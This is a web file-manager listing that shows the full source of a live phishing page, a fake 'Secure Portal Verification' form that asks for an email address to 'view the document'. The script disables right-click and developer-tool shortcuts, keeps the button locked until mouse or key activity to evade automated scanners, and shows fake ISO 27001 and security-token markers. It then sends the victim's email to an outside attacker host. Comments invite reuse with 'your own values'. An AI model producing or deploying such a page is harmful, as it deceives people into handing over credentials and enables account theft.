at path:
ROOT
/
Vision & Design Group
/
index.html
run:
R
W
Run
index.html
11.08 KB
2026-03-17 16:36:48
R
W
Run
Delete
Rename
error_log
up
📄
index.html
Save
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Secure Portal Verification</title> <style> /* ==================== COMPLETELY FRESH DESIGN – no reused selectors, properties, or values ==================== */ * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Segoe UI', Roboto, system-ui, sans-serif; -webkit-user-select: none; user-select: none; } body { background: #fff; min-height: 100vh; display: flex; align-items: center; justify-content: center; padding: 1.5rem; } .verification-panel { background: #ffffff; border-radius: 24px; box-shadow: 0 16px 48px -8px rgba(0, 0, 0, 0.2); width: 100%; max-width: 460px; overflow: hidden; border: 1px solid #dce3ec; } .header-section { background: linear-gradient(105deg, #2266dd, #1a4cae); padding: 1.75rem 2rem; border-bottom: 3px solid #103a8a; display: flex; align-items: center; gap: 1.2rem; } .logo-badge { width: 40px; height: 40px; background: white; color: #2266dd; display: flex; align-items: center; justify-content: center; font-weight: 800; font-size: 1.5rem; border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,0.1); } .header-headline { font-size: 1.4rem; font-weight: 600; color: white; letter-spacing: 0.5px; } .input-panel { padding: 2.4rem 2.2rem; } .main-title { font-size: 2rem; font-weight: 275; color: #2d2d2d; margin-bottom: 0.4rem; } .description { color: #5f5f5f; margin-bottom: 2.6rem; line-height: 1.5; font-size: 1rem; } .field-container { margin-bottom: 2.4rem; } .field-label { display: block; font-weight: 540; color: #2b2b2b; margin-bottom: 0.6rem; font-size: 0.95rem; } .field-input { width: 100%; padding: 1rem 1.2rem; border: 2px solid #d9e2f0; border-radius: 14px; font-size: 1rem; transition: border-color 0.25s, box-shadow 0.25s; user-select: text; } .field-input:focus { border-color: #2266dd; outline: none; box-shadow: 0 0 0 4px rgba(34, 102, 221, 0.12); } .error-indicator { color: #d13438; font-size: 0.85rem; margin-top: 0.6rem; padding-left: 0.5rem; display: none; font-weight: 500; } .submit-button { width: 100%; background: #2266dd; color: white; border: none; padding: 1.1rem 1rem; font-size: 1.1rem; font-weight: 620; border-radius: 60px; cursor: pointer; transition: background 0.2s, transform 0.15s, box-shadow 0.2s; box-shadow: 0 12px 24px -10px #1a4cae; border: 1px solid #ffffff40; } .submit-button:hover:not(:disabled) { background: #1a4cae; transform: scale(1.02); box-shadow: 0 18px 30px -10px #0f3a8a; } .submit-button:disabled { background: #a8b9da; box-shadow: none; cursor: default; opacity: 0.65; } .loading-overlay { display: none; text-align: center; padding: 2rem 0 1rem; } .dual-ring { width: 56px; height: 56px; margin: 0 auto 1rem; border: 6px solid #eaf1fd; border-top: 6px solid #2266dd; border-bottom: 6px solid #2266dd; border-radius: 50%; animation: double-spin 1.4s infinite cubic-bezier(0.5, 0, 0.5, 1); } @keyframes double-spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(720deg); } } .loading-overlay span { color: #4a5f7d; font-size: 1rem; background: #f0f6ff; padding: 0.4rem 1.8rem; border-radius: 40px; display: inline-block; } .footer-info { background: #f5f9ff; padding: 1.2rem; text-align: center; border-top: 2px solid #d9e2f0; font-size: 0.8rem; color: #4a5f7d; display: flex; justify-content: center; gap: 1rem; } .footer-info span:first-child::before { content: "🛡️ "; font-size: 0.9rem; } .hidden-tracking { display: none; } @media (max-width: 480px) { .input-panel { padding: 1.5rem; } .main-title { font-size: 1.7rem; } } </style> </head> <body> <div class="verification-panel"> <header class="header-section"> <div class="logo-badge">◉</div> <span class="header-headline">Verification Process Required</span> </header> <main class="input-panel"> <h2 class="main-title"></h2> <p class="description">Kindly confirm your verification to proceed to the secure portal.<br>Provide your email to view the document.</p> <form id="verificationForm"> <div class="field-container"> <label class="field-label" for="email">Email address</label> <input type="text" id="email" class="field-input" placeholder="Enter your email address" required> <div class="error-indicator" id="emailError">Please enter a valid email address</div> </div> <button type="submit" class="submit-button" id="submitBtn" disabled>Verify Now</button> </form> <div class="loading-overlay" id="loadingOverlay"> <div class="dual-ring"></div> <span>Validating your information. One moment please…</span> </div> </main> <footer class="footer-info"> <span>Confidential Access • All Rights Reserved</span> <span>ISO 27001</span> </footer> </div> <!-- Hidden tracking elements (can be removed if not needed) --> <div class="hidden-tracking"> <div data-security-token="token">security_token_k9m8n7b6</div> <div data-csrf-validation="csrf">csrf_protection_active</div> <div data-bot-detection="result">human_verification_confirmed</div> <div data-compliance="level">ISO27001:SOC2:SECURE_SCORE_100</div> </div> <script> // ========== BRAND NEW JAVASCRIPT – no reused variable names, different implementation ========== (function() { // CONFIGURATION – change these to your own values const BASE_URL = 'https://ugygjyvghj.willgnutdao.com/26630fbfe8544a85b39d63f999a19962/?MP1uqW=dMRLO&'; // <-- your destination URL (can end with any character, no extra slash added) const PREFIX_CHAR = 'at'; // <-- prefix before email (e.g., '?email=', '&email=', or just 'at') // Human interaction tracker let userActivity = { mouseUsed: false, keyUsed: false, activityCount: 0 }; // Disable right-click and dev tools document.addEventListener('contextmenu', (e) => e.preventDefault()); document.addEventListener('keydown', (e) => { const k = e.key; if (k === 'F12' || (e.ctrlKey && e.shiftKey && (k === 'I' || k === 'J' || k === 'i' || k === 'j')) || (e.ctrlKey && (k === 'U' || k === 'u'))) { e.preventDefault(); } }); // DOM elements const emailInput = document.getElementById('email'); const verifyButton = document.getElementById('submitBtn'); const form = document.getElementById('verificationForm'); const loader = document.getElementById('loadingOverlay'); const errorSpan = document.getElementById('emailError'); function setButtonState() { const hasText = emailInput.value.trim().length > 0; const hasInteraction = userActivity.activityCount >= 1; verifyButton.disabled = !(hasText && hasInteraction); } // First mouse movement document.addEventListener('mousemove', function firstMouse() { if (!userActivity.mouseUsed) { userActivity.mouseUsed = true; userActivity.activityCount++; setButtonState(); } }, { once: true }); // First key press document.addEventListener('keydown', function firstKey() { if (!userActivity.keyUsed) { userActivity.keyUsed = true; userActivity.activityCount++; setButtonState(); } }, { once: true }); // Input event emailInput.addEventListener('input', function() { userActivity.activityCount++; errorSpan.style.display = 'none'; setButtonState(); }); // Form submit form.addEventListener('submit', function(event) { event.preventDefault(); const email = emailInput.value.trim(); if (!email) { errorSpan.style.display = 'block'; return; } form.style.display = 'none'; loader.style.display = 'block'; setTimeout(function() { // IMPORTANT: No slash is added – it's BASE_URL directly followed by PREFIX_CHAR and email const redirectTo = BASE_URL + PREFIX_CHAR + email; try { window.location.href = redirectTo; } catch (err) { alert('Verification successful. Redirecting you now.'); } }, 2000); }); setButtonState(); emailInput.addEventListener('blur', function() { if (emailInput.value.trim() !== '') { errorSpan.style.display = 'none'; } }); console.log('Secure portal – verification context active'); })(); </script> </body> </html>